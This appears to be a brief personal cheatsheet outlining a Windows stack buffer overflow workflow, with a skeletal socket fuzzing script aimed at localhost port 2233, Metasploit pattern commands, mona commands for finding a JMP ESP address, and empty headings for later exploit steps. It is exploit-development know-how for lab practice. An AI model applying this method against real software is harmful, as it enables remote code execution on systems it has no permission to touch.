Buffer Overflow

Windows Immunity Debugger

0-fuzz.py

#!/usr/bin/python3
import socket
import time
import sys

# msf-pattern_create -l 5000 > inputbuffer
# msf-pattern_offset -l 5000 -q {hang EIP addr} 

try:
  print("\nSending buffer with %s bytes" % (size))
  inputbuffer = b""
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("127.0.0.1", 2233))
  s.send(inputbuffer)
  s.close()
  
  # f = open ("exploit.txt", "wb")
  # f.write(inputbuffer+shellcode)
  # f.close()

except Exception as e: print(e)

1-eip.py

2-badchar.py

3-jmp.py

!mona modules (to find suitable candadate base addr w/o the badchars)

!mona find -s \xff\xe4 -m {candadate} (JMP ESP addr of the candadate)

e.g. StorageServer.exe

1120110D |. FFE4 JMP ESP

4-exploit.py

(python exploit.py; cat) | {vulnapp}

Last updated